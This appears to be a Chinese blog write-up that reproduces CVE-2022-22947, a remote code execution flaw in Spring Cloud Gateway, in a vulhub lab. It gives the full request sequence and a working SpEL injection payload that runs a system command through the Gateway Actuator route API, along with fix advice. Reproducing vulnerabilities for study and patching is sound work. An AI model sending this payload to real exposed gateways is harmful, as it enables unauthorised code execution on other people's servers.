CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞

CVE-2022-22947

CVE-2022-22947,Spring Cloud Gateway远程代码执行漏洞

漏洞原理:

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

漏洞复现:

步骤一:启动环境

本文使用的是vulhub环境

docker-compose up -d

步骤二:修改GET/actuator请求,确认actuator端口开启

步骤三:修改get请求,获取路由信息GET /actuator/gateway/routes/

当前只有路由index,该路由默认跳转到uri:http://example.com:80


步骤四:构造一个post请求包,POST /actuator/gateway/routes/test ,添加一个Content-type:application/json添加一个包含恶意SpEL表达式的路由

{

"id": "test",

"filters": [

{

"name": "AddResponseHeader",

"args": {

"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

"name": "cmd"

}

}

],

"uri": "http://example.com:80",

"order": 0

}

步骤五:刷新路由,POST /actuator/gateway/refresh,Content-Type:application/x-www-form-urlencoded

步骤六:获取路由信息GET /actuator/gateway/routes/,新增路由test成功

步骤七:构造get请求,查看当前路由信息,GET /actuator/gateway/routes/test,检索结果命令执行结果,当前用户为root

步骤八:删除前面构造的路由,DELETE /actuator/gateway/routes/test

修复建议:

更新版本
如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用
如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

漏洞总结:

当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

参考文章:

https://blog.csdn.net/xiaobai_20190815/article/details/124045768

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
根据引用\[1\]和引用\[2\]的信息,CVE-2022-22947漏洞Spring Cloud Gateway中的一处命令注入漏洞。攻击者可以通过利用此漏洞执行SpEL表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。具体来说,当使用Spring Cloud Gateway的应用程序对外暴露了Gateway Actuator接口时,攻击者可以发送恶意请求,利用漏洞进行代码注入攻击,从而在远程主机上执行任意远程代码。这个漏洞的影响范围包括Spring Cloud Gateway 3.1.x < 3.1.1和Spring Cloud Gateway 3.0.x < 3.0.7版本,以及其他旧的、不受支持的Spring Cloud Gateway版本。\[1\]\[2\] #### 引用[.reference_title] - *1* *2* [Spring Cloud Gateway RCE漏洞原理分析与复现(CVE-2022-22947)](https://blog.csdn.net/qq_49619863/article/details/127350543)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CVE-2022-22947 Spring Cloud Gateway 远程代码执行漏洞复现](https://blog.csdn.net/weixin_45260839/article/details/124650584)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值